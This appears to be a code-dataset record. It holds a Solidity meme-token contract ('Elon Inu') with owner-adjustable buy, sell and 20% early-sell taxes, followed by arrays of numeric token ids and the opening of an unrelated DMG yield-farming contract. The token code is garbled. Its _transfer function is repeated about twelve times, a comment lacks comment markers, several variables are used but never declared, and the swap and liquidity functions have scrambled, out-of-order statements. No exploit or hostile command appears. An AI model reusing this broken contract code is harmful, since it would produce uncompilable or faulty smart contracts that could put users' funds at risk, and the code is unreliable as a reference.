contract ELONINU is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public uniswapV2Router; address public immutable uniswapV2Pair; bool private inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public enableEarlySellTax = true; uint256 public maxSellTransactionAmount = 1000000 * (10**18); uint256 public maxBuyTransactionAmount = 20000 * (10**18); uint256 public swapTokensAtAmount = 1000 * (10**18); uint256 public maxWalletToken = 20000 * (10**18); uint256 private buyTotalFees = 5; uint256 public sellTotalFees = 8; uint256 public earlySellTotalFee = 20; uint256 public burnFee = 0; address public deadWallet = 0x000000000000000000000000000000000000dEaD; address payable public marketingWallet = payable(0x4960a1A88cCC7Fde712A07fa7289c64056BbbACE); address payable public devWallet = payable(0xbAB090cca2a13CdE31a7c4c3C54A16f30Cb163f2); mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public automatedMarketMakerPairs; mapping (address => uint256) public lastTxTimestamp; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event GasForProcessingUpdated(uint256 indexed newValue, uint256 indexed oldValue); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensIntoLiqudity, uint256 ethReceived ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor() ERC20("Elon Inu", "ELON INU") { address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = _uniswapV2Pair; _setAutomatedMarketMakerPair(_uniswapV2Pair, true); excludeFromFees(owner(), true); excludeFromFees(marketingWallet, true); excludeFromFees(devWallet, true); excludeFromFees(address(this), true); an internal function that is only called here, and CANNOT be called ever again _createInitialSupply(owner(), 1000000 * (10**18)); } receive() external payable { } function updateUniswapV2Router(address newAddress) public onlyOwner { require(newAddress != address(uniswapV2Router), "KCoin: The router already has that address"); emit UpdateUniswapV2Router(newAddress, address(uniswapV2Router)); uniswapV2Router = IUniswapV2Router02(newAddress); } function excludeFromFees(address account, bool excluded) public onlyOwner { require(_isExcludedFromFees[account] != excluded, "KCoin: Account is already the value of 'excluded'"); _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "KCoin: The PancakeSwap pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { require(automatedMarketMakerPairs[pair] != value, "KCoin: Automated market maker pair is already set to that value"); automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(automatedMarketMakerPairs[from] && (!_isExcludedFromFees[from]) && (!_isExcludedFromFees[to])) { require(amount <= maxBuyTransactionAmount, "amount exceeds the maxBuyTransactionAmount."); uint256 contractBalanceRecepient = balanceOf(to); require(contractBalanceRecepient + amount <= maxWalletToken,"Exceeds maximum wallet token amount."); lastTxTimestamp[to] = block.timestamp; } if(automatedMarketMakerPairs[to] && (!_isExcludedFromFees[from]) && (!_isExcludedFromFees[to])) { require(amount <= maxSellTransactionAmount, "amount exceeds the maxSellTransactionAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= swapTokensAtAmount; if( overMinTokenBalance && !inSwapAndLiquify && automatedMarketMakerPairs[to] && swapAndLiquifyEnabled ) { contractTokenBalance = swapTokensAtAmount; swapAndLiquify(contractTokenBalance); } uint256 fees = 0; uint256 burnShare = 0; if(!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { uint256 _totalFees = buyTotalFees; if (automatedMarketMakerPairs[to]) { uint256 span = block.timestamp-lastTxTimestamp[from]; if(enableEarlySellTax && span <= 8 hours) { _totalFees = earlySellTotalFee; } else if(!enableEarlySellTax) { _totalFees = sellTotalFees; } } fees = amount.mul(_totalFees).div(100); burnShare = amount.mul(burnFee).div(100); if(fees > 0) { super._transfer(from, address(this), fees); } if(burnShare > 0) { super._transfer(from, deadWallet, burnShare); } amount = amount.sub(fees.add(burnShare)); } super._transfer(from, to, amount); } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(automatedMarketMakerPairs[from] && (!_isExcludedFromFees[from]) && (!_isExcludedFromFees[to])) { require(amount <= maxBuyTransactionAmount, "amount exceeds the maxBuyTransactionAmount."); uint256 contractBalanceRecepient = balanceOf(to); require(contractBalanceRecepient + amount <= maxWalletToken,"Exceeds maximum wallet token amount."); lastTxTimestamp[to] = block.timestamp; } if(automatedMarketMakerPairs[to] && (!_isExcludedFromFees[from]) && (!_isExcludedFromFees[to])) { require(amount <= maxSellTransactionAmount, "amount exceeds the maxSellTransactionAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= swapTokensAtAmount; if( overMinTokenBalance && !inSwapAndLiquify && automatedMarketMakerPairs[to] && swapAndLiquifyEnabled ) { contractTokenBalance = swapTokensAtAmount; swapAndLiquify(contractTokenBalance); } uint256 fees = 0; uint256 burnShare = 0; if(!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { uint256 _totalFees = buyTotalFees; if (automatedMarketMakerPairs[to]) { uint256 span = block.timestamp-lastTxTimestamp[from]; if(enableEarlySellTax && span <= 8 hours) { _totalFees = earlySellTotalFee; } else if(!enableEarlySellTax) { _totalFees = sellTotalFees; } } fees = amount.mul(_totalFees).div(100); burnShare = amount.mul(burnFee).div(100); if(fees > 0) { super._transfer(from, address(this), fees); } if(burnShare > 0) { super._transfer(from, deadWallet, burnShare); } amount = amount.sub(fees.add(burnShare)); } super._transfer(from, to, amount); } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(automatedMarketMakerPairs[from] && (!_isExcludedFromFees[from]) && (!_isExcludedFromFees[to])) { require(amount <= maxBuyTransactionAmount, "amount exceeds the maxBuyTransactionAmount."); uint256 contractBalanceRecepient = balanceOf(to); require(contractBalanceRecepient + amount <= maxWalletToken,"Exceeds maximum wallet token amount."); lastTxTimestamp[to] = block.timestamp; } if(automatedMarketMakerPairs[to] && (!_isExcludedFromFees[from]) && (!_isExcludedFromFees[to])) { require(amount <= maxSellTransactionAmount, "amount exceeds the maxSellTransactionAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= swapTokensAtAmount; if( overMinTokenBalance && !inSwapAndLiquify && automatedMarketMakerPairs[to] && swapAndLiquifyEnabled ) { contractTokenBalance = swapTokensAtAmount; swapAndLiquify(contractTokenBalance); } uint256 fees = 0; uint256 burnShare = 0; if(!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { uint256 _totalFees = buyTotalFees; if (automatedMarketMakerPairs[to]) { uint256 span = block.timestamp-lastTxTimestamp[from]; if(enableEarlySellTax && span <= 8 hours) { _totalFees = earlySellTotalFee; } else if(!enableEarlySellTax) { _totalFees = sellTotalFees; } } fees = amount.mul(_totalFees).div(100); burnShare = amount.mul(burnFee).div(100); if(fees > 0) { super._transfer(from, address(this), fees); } if(burnShare > 0) { super._transfer(from, deadWallet, burnShare); } amount = amount.sub(fees.add(burnShare)); } super._transfer(from, to, amount); } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(automatedMarketMakerPairs[from] && (!_isExcludedFromFees[from]) && (!_isExcludedFromFees[to])) { require(amount <= maxBuyTransactionAmount, "amount exceeds the maxBuyTransactionAmount."); uint256 contractBalanceRecepient = balanceOf(to); require(contractBalanceRecepient + amount <= maxWalletToken,"Exceeds maximum wallet token amount."); lastTxTimestamp[to] = block.timestamp; } if(automatedMarketMakerPairs[to] && (!_isExcludedFromFees[from]) && (!_isExcludedFromFees[to])) { require(amount <= maxSellTransactionAmount, "amount exceeds the maxSellTransactionAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= swapTokensAtAmount; if( overMinTokenBalance && !inSwapAndLiquify && automatedMarketMakerPairs[to] && swapAndLiquifyEnabled ) { contractTokenBalance = swapTokensAtAmount; swapAndLiquify(contractTokenBalance); } uint256 fees = 0; uint256 burnShare = 0; if(!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { uint256 _totalFees = buyTotalFees; if (automatedMarketMakerPairs[to]) { uint256 span = block.timestamp-lastTxTimestamp[from]; if(enableEarlySellTax && span <= 8 hours) { _totalFees = earlySellTotalFee; } else if(!enableEarlySellTax) { _totalFees = sellTotalFees; } } fees = amount.mul(_totalFees).div(100); burnShare = amount.mul(burnFee).div(100); if(fees > 0) { super._transfer(from, address(this), fees); } if(burnShare > 0) { super._transfer(from, deadWallet, burnShare); } amount = amount.sub(fees.add(burnShare)); } super._transfer(from, to, amount); } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(automatedMarketMakerPairs[from] && (!_isExcludedFromFees[from]) && (!_isExcludedFromFees[to])) { require(amount <= maxBuyTransactionAmount, "amount exceeds the maxBuyTransactionAmount."); uint256 contractBalanceRecepient = balanceOf(to); require(contractBalanceRecepient + amount <= maxWalletToken,"Exceeds maximum wallet token amount."); lastTxTimestamp[to] = block.timestamp; } if(automatedMarketMakerPairs[to] && (!_isExcludedFromFees[from]) && (!_isExcludedFromFees[to])) { require(amount <= maxSellTransactionAmount, "amount exceeds the maxSellTransactionAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= swapTokensAtAmount; if( overMinTokenBalance && !inSwapAndLiquify && automatedMarketMakerPairs[to] && swapAndLiquifyEnabled ) { contractTokenBalance = swapTokensAtAmount; swapAndLiquify(contractTokenBalance); } uint256 fees = 0; uint256 burnShare = 0; if(!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { uint256 _totalFees = buyTotalFees; if (automatedMarketMakerPairs[to]) { uint256 span = block.timestamp-lastTxTimestamp[from]; if(enableEarlySellTax && span <= 8 hours) { _totalFees = earlySellTotalFee; } else if(!enableEarlySellTax) { _totalFees = sellTotalFees; } } fees = amount.mul(_totalFees).div(100); burnShare = amount.mul(burnFee).div(100); if(fees > 0) { super._transfer(from, address(this), fees); } if(burnShare > 0) { super._transfer(from, deadWallet, burnShare); } amount = amount.sub(fees.add(burnShare)); } super._transfer(from, to, amount); } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(automatedMarketMakerPairs[from] && (!_isExcludedFromFees[from]) && (!_isExcludedFromFees[to])) { require(amount <= maxBuyTransactionAmount, "amount exceeds the maxBuyTransactionAmount."); uint256 contractBalanceRecepient = balanceOf(to); require(contractBalanceRecepient + amount <= maxWalletToken,"Exceeds maximum wallet token amount."); lastTxTimestamp[to] = block.timestamp; } if(automatedMarketMakerPairs[to] && (!_isExcludedFromFees[from]) && (!_isExcludedFromFees[to])) { require(amount <= maxSellTransactionAmount, "amount exceeds the maxSellTransactionAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= swapTokensAtAmount; if( overMinTokenBalance && !inSwapAndLiquify && automatedMarketMakerPairs[to] && swapAndLiquifyEnabled ) { contractTokenBalance = swapTokensAtAmount; swapAndLiquify(contractTokenBalance); } uint256 fees = 0; uint256 burnShare = 0; if(!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { uint256 _totalFees = buyTotalFees; if (automatedMarketMakerPairs[to]) { uint256 span = block.timestamp-lastTxTimestamp[from]; if(enableEarlySellTax && span <= 8 hours) { _totalFees = earlySellTotalFee; } else if(!enableEarlySellTax) { _totalFees = sellTotalFees; } } fees = amount.mul(_totalFees).div(100); burnShare = amount.mul(burnFee).div(100); if(fees > 0) { super._transfer(from, address(this), fees); } if(burnShare > 0) { super._transfer(from, deadWallet, burnShare); } amount = amount.sub(fees.add(burnShare)); } super._transfer(from, to, amount); } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(automatedMarketMakerPairs[from] && (!_isExcludedFromFees[from]) && (!_isExcludedFromFees[to])) { require(amount <= maxBuyTransactionAmount, "amount exceeds the maxBuyTransactionAmount."); uint256 contractBalanceRecepient = balanceOf(to); require(contractBalanceRecepient + amount <= maxWalletToken,"Exceeds maximum wallet token amount."); lastTxTimestamp[to] = block.timestamp; } if(automatedMarketMakerPairs[to] && (!_isExcludedFromFees[from]) && (!_isExcludedFromFees[to])) { require(amount <= maxSellTransactionAmount, "amount exceeds the maxSellTransactionAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= swapTokensAtAmount; if( overMinTokenBalance && !inSwapAndLiquify && automatedMarketMakerPairs[to] && swapAndLiquifyEnabled ) { contractTokenBalance = swapTokensAtAmount; swapAndLiquify(contractTokenBalance); } uint256 fees = 0; uint256 burnShare = 0; if(!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { uint256 _totalFees = buyTotalFees; if (automatedMarketMakerPairs[to]) { uint256 span = block.timestamp-lastTxTimestamp[from]; if(enableEarlySellTax && span <= 8 hours) { _totalFees = earlySellTotalFee; } else if(!enableEarlySellTax) { _totalFees = sellTotalFees; } } fees = amount.mul(_totalFees).div(100); burnShare = amount.mul(burnFee).div(100); if(fees > 0) { super._transfer(from, address(this), fees); } if(burnShare > 0) { super._transfer(from, deadWallet, burnShare); } amount = amount.sub(fees.add(burnShare)); } super._transfer(from, to, amount); } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(automatedMarketMakerPairs[from] && (!_isExcludedFromFees[from]) && (!_isExcludedFromFees[to])) { require(amount <= maxBuyTransactionAmount, "amount exceeds the maxBuyTransactionAmount."); uint256 contractBalanceRecepient = balanceOf(to); require(contractBalanceRecepient + amount <= maxWalletToken,"Exceeds maximum wallet token amount."); lastTxTimestamp[to] = block.timestamp; } if(automatedMarketMakerPairs[to] && (!_isExcludedFromFees[from]) && (!_isExcludedFromFees[to])) { require(amount <= maxSellTransactionAmount, "amount exceeds the maxSellTransactionAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= swapTokensAtAmount; if( overMinTokenBalance && !inSwapAndLiquify && automatedMarketMakerPairs[to] && swapAndLiquifyEnabled ) { contractTokenBalance = swapTokensAtAmount; swapAndLiquify(contractTokenBalance); } uint256 fees = 0; uint256 burnShare = 0; if(!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { uint256 _totalFees = buyTotalFees; if (automatedMarketMakerPairs[to]) { uint256 span = block.timestamp-lastTxTimestamp[from]; if(enableEarlySellTax && span <= 8 hours) { _totalFees = earlySellTotalFee; } else if(!enableEarlySellTax) { _totalFees = sellTotalFees; } } fees = amount.mul(_totalFees).div(100); burnShare = amount.mul(burnFee).div(100); if(fees > 0) { super._transfer(from, address(this), fees); } if(burnShare > 0) { super._transfer(from, deadWallet, burnShare); } amount = amount.sub(fees.add(burnShare)); } super._transfer(from, to, amount); } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(automatedMarketMakerPairs[from] && (!_isExcludedFromFees[from]) && (!_isExcludedFromFees[to])) { require(amount <= maxBuyTransactionAmount, "amount exceeds the maxBuyTransactionAmount."); uint256 contractBalanceRecepient = balanceOf(to); require(contractBalanceRecepient + amount <= maxWalletToken,"Exceeds maximum wallet token amount."); lastTxTimestamp[to] = block.timestamp; } if(automatedMarketMakerPairs[to] && (!_isExcludedFromFees[from]) && (!_isExcludedFromFees[to])) { require(amount <= maxSellTransactionAmount, "amount exceeds the maxSellTransactionAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= swapTokensAtAmount; if( overMinTokenBalance && !inSwapAndLiquify && automatedMarketMakerPairs[to] && swapAndLiquifyEnabled ) { contractTokenBalance = swapTokensAtAmount; swapAndLiquify(contractTokenBalance); } uint256 fees = 0; uint256 burnShare = 0; if(!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { uint256 _totalFees = buyTotalFees; if (automatedMarketMakerPairs[to]) { uint256 span = block.timestamp-lastTxTimestamp[from]; if(enableEarlySellTax && span <= 8 hours) { _totalFees = earlySellTotalFee; } else if(!enableEarlySellTax) { _totalFees = sellTotalFees; } } fees = amount.mul(_totalFees).div(100); burnShare = amount.mul(burnFee).div(100); if(fees > 0) { super._transfer(from, address(this), fees); } if(burnShare > 0) { super._transfer(from, deadWallet, burnShare); } amount = amount.sub(fees.add(burnShare)); } super._transfer(from, to, amount); } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(automatedMarketMakerPairs[from] && (!_isExcludedFromFees[from]) && (!_isExcludedFromFees[to])) { require(amount <= maxBuyTransactionAmount, "amount exceeds the maxBuyTransactionAmount."); uint256 contractBalanceRecepient = balanceOf(to); require(contractBalanceRecepient + amount <= maxWalletToken,"Exceeds maximum wallet token amount."); lastTxTimestamp[to] = block.timestamp; } if(automatedMarketMakerPairs[to] && (!_isExcludedFromFees[from]) && (!_isExcludedFromFees[to])) { require(amount <= maxSellTransactionAmount, "amount exceeds the maxSellTransactionAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= swapTokensAtAmount; if( overMinTokenBalance && !inSwapAndLiquify && automatedMarketMakerPairs[to] && swapAndLiquifyEnabled ) { contractTokenBalance = swapTokensAtAmount; swapAndLiquify(contractTokenBalance); } uint256 fees = 0; uint256 burnShare = 0; if(!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { uint256 _totalFees = buyTotalFees; if (automatedMarketMakerPairs[to]) { uint256 span = block.timestamp-lastTxTimestamp[from]; if(enableEarlySellTax && span <= 8 hours) { _totalFees = earlySellTotalFee; } else if(!enableEarlySellTax) { _totalFees = sellTotalFees; } } fees = amount.mul(_totalFees).div(100); burnShare = amount.mul(burnFee).div(100); if(fees > 0) { super._transfer(from, address(this), fees); } if(burnShare > 0) { super._transfer(from, deadWallet, burnShare); } amount = amount.sub(fees.add(burnShare)); } super._transfer(from, to, amount); } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(automatedMarketMakerPairs[from] && (!_isExcludedFromFees[from]) && (!_isExcludedFromFees[to])) { require(amount <= maxBuyTransactionAmount, "amount exceeds the maxBuyTransactionAmount."); uint256 contractBalanceRecepient = balanceOf(to); require(contractBalanceRecepient + amount <= maxWalletToken,"Exceeds maximum wallet token amount."); lastTxTimestamp[to] = block.timestamp; } if(automatedMarketMakerPairs[to] && (!_isExcludedFromFees[from]) && (!_isExcludedFromFees[to])) { require(amount <= maxSellTransactionAmount, "amount exceeds the maxSellTransactionAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= swapTokensAtAmount; if( overMinTokenBalance && !inSwapAndLiquify && automatedMarketMakerPairs[to] && swapAndLiquifyEnabled ) { contractTokenBalance = swapTokensAtAmount; swapAndLiquify(contractTokenBalance); } uint256 fees = 0; uint256 burnShare = 0; if(!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { uint256 _totalFees = buyTotalFees; if (automatedMarketMakerPairs[to]) { uint256 span = block.timestamp-lastTxTimestamp[from]; if(enableEarlySellTax && span <= 8 hours) { _totalFees = earlySellTotalFee; } else if(!enableEarlySellTax) { _totalFees = sellTotalFees; } } fees = amount.mul(_totalFees).div(100); burnShare = amount.mul(burnFee).div(100); if(fees > 0) { super._transfer(from, address(this), fees); } if(burnShare > 0) { super._transfer(from, deadWallet, burnShare); } amount = amount.sub(fees.add(burnShare)); } super._transfer(from, to, amount); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 tokensForLiquidity = contractTokenBalance.mul(liquidityPercent).div(100); uint256 half = tokensForLiquidity.div(2); uint256 otherHalf = tokensForLiquidity.sub(half); uint256 initialBalance = address(this).balance; uint256 newBalance = address(this).balance.sub(initialBalance); addLiquidity(otherHalf, newBalance); swapTokensForEth(contractTokenBalance.sub(tokensForLiquidity)); marketingWallet.transfer(address(this).balance.mul(marketingPercent).div(marketingPercent.add(devPercent))); devWallet.transfer(address(this).balance); emit SwapAndLiquify(half, newBalance); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); if(allowance(address(this), address(uniswapV2Router)) < tokenAmount) { _approve(address(this), address(uniswapV2Router), ~uint256(0)); } tokenAmount, path, address(this), block.timestamp ); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); if(allowance(address(this), address(uniswapV2Router)) < tokenAmount) { _approve(address(this), address(uniswapV2Router), ~uint256(0)); } tokenAmount, path, address(this), block.timestamp ); } uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { address(this), tokenAmount, owner(), block.timestamp ); } uniswapV2Router.addLiquidityETH{value: ethAmount}( function setMaxSellTransaction(uint256 _maxSellTxAmount) public onlyOwner { maxSellTransactionAmount = _maxSellTxAmount; require(maxSellTransactionAmount>totalSupply().div(1000), "value is too low"); } function setMaxBuyTransaction(uint256 _maxBuyTxAmount) public onlyOwner { maxBuyTransactionAmount = _maxBuyTxAmount; require(maxBuyTransactionAmount>totalSupply().div(1000), "value is too low"); } function setSwapTokensAtAmouunt(uint256 _newAmount) public onlyOwner { swapTokensAtAmount = _newAmount; } function setMarketingWallet(address payable wallet) public onlyOwner { marketingWallet = wallet; } function setDevWallet(address payable wallet) public onlyOwner { devWallet = wallet; } function updateBuyTotalTax(uint256 _buyTotalFees) public onlyOwner { buyTotalFees = _buyTotalFees; require(buyTotalFees <= 10, "Fee too high"); } function updateSellTotalTax(uint256 _sellTotalFees) public onlyOwner { sellTotalFees = _sellTotalFees; require(sellTotalFees <= 10, "Fee too high"); } function updateEarlySellTotalTax(uint256 _earlySellTotalFee) public onlyOwner { earlySellTotalFee = _earlySellTotalFee; require(earlySellTotalFee <= 21, "Fee too high"); } function updateTaxDistributionPercentage(uint256 _liquidityPercent, uint256 _marketingPercent, uint256 _devPercent) public onlyOwner { require(_liquidityPercent.add(_marketingPercent).add(_devPercent) == 100, "total percentage must be equal to 100"); liquidityPercent = _liquidityPercent; marketingPercent = _marketingPercent; devPercent = _devPercent; } function setEarlySellTax(bool onoff) external onlyOwner { enableEarlySellTax = onoff; } function setAutoBurn(uint256 _burnFee) external onlyOwner { require(_burnFee <= 5, "value too high"); burnFee = _burnFee; } function setMaxWalletToken(uint256 _maxToken) external onlyOwner { maxWalletToken = _maxToken; require(maxWalletToken>totalSupply().div(1000), "value is too low"); } }
13,838,991
[ 1, 6079, 18305, 14036, 25722, 326, 12230, 5320, 11622, 24754, 431, 17704, 1317, 628, 1656, 281, 471, 943, 2492, 3844, 1707, 6138, 716, 279, 5859, 13667, 312, 6388, 5574, 18, 5502, 7412, 358, 4259, 6138, 3377, 506, 3221, 358, 279, 4207, 7412, 3844, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 14801, 673, 706, 57, 353, 4232, 39, 3462, 16, 14223, 6914, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 565, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 1071, 640, 291, 91, 438, 58, 22, 8259, 31, 203, 565, 1758, 1071, 11732, 640, 291, 91, 438, 58, 22, 4154, 31, 203, 203, 565, 1426, 3238, 316, 12521, 1876, 48, 18988, 1164, 31, 203, 203, 565, 1426, 1071, 7720, 1876, 48, 18988, 1164, 1526, 273, 638, 31, 203, 203, 565, 1426, 1071, 4237, 41, 20279, 55, 1165, 7731, 273, 638, 31, 203, 203, 565, 2254, 5034, 1071, 943, 55, 1165, 3342, 6275, 273, 15088, 380, 261, 2163, 636, 2643, 1769, 203, 565, 2254, 5034, 1071, 943, 38, 9835, 3342, 6275, 273, 576, 2787, 380, 261, 2163, 636, 2643, 1769, 203, 565, 2254, 5034, 1071, 7720, 5157, 861, 6275, 273, 4336, 380, 261, 2163, 636, 2643, 1769, 203, 565, 2254, 5034, 1071, 943, 16936, 1345, 273, 576, 2787, 380, 261, 2163, 636, 2643, 1769, 203, 203, 565, 2254, 5034, 3238, 30143, 5269, 2954, 281, 273, 1381, 31, 203, 565, 2254, 5034, 1071, 357, 80, 5269, 2954, 281, 273, 1725, 31, 203, 565, 2254, 5034, 1071, 11646, 55, 1165, 5269, 14667, 273, 4200, 31, 203, 203, 565, 2254, 5034, 1071, 18305, 14667, 273, 374, 31, 203, 565, 1758, 1071, 8363, 16936, 273, 374, 92, 12648, 12648, 12648, 12648, 2787, 72, 41, 69, 40, 31, 203, 377, 203, 203, 203, 203, 565, 1758, 8843, 429, 1071, 13667, 310, 16936, 273, 8843, 429, 2 ]
/* * Copyright 2020 DMM Foundation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ pragma solidity ^0.5.0; import "../../../../node_modules/@openzeppelin/upgrades/contracts/Initializable.sol"; import "../../../../node_modules/@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "../../../../node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../../../../node_modules/@openzeppelin/contracts/math/SafeMath.sol"; import "../../../protocol/interfaces/IDmmController.sol"; import "../../../protocol/interfaces/IUnderlyingTokenValuator.sol"; import "../DMGYieldFarmingData.sol"; import "./IDMGYieldFarmingV1.sol"; import "./IDMGYieldFarmingV1Initializable.sol"; contract DMGYieldFarmingV1 is IDMGYieldFarmingV1, IDMGYieldFarmingV1Initializable, DMGYieldFarmingData { using SafeMath for uint; using SafeERC20 for IERC20; modifier isSpenderApproved(address __user) { require( msg.sender == __user || _globalProxyToIsTrustedMap[msg.sender] || _userToSpenderToIsApprovedMap[__user][msg.sender], "DMGYieldFarmingV1: UNAPPROVED" ); _; } modifier onlyOwnerOrGuardian { require( msg.sender == _owner || msg.sender == _guardian, "DMGYieldFarming: UNAUTHORIZED" ); _; } modifier farmIsActive { require(_isFarmActive, "DMGYieldFarming: FARM_NOT_ACTIVE"); _; } modifier requireIsFarmToken(address __token) { require(_tokenToIndexPlusOneMap[__token] != 0, "DMGYieldFarming: TOKEN_UNSUPPORTED"); _; } modifier farmIsNotActive { 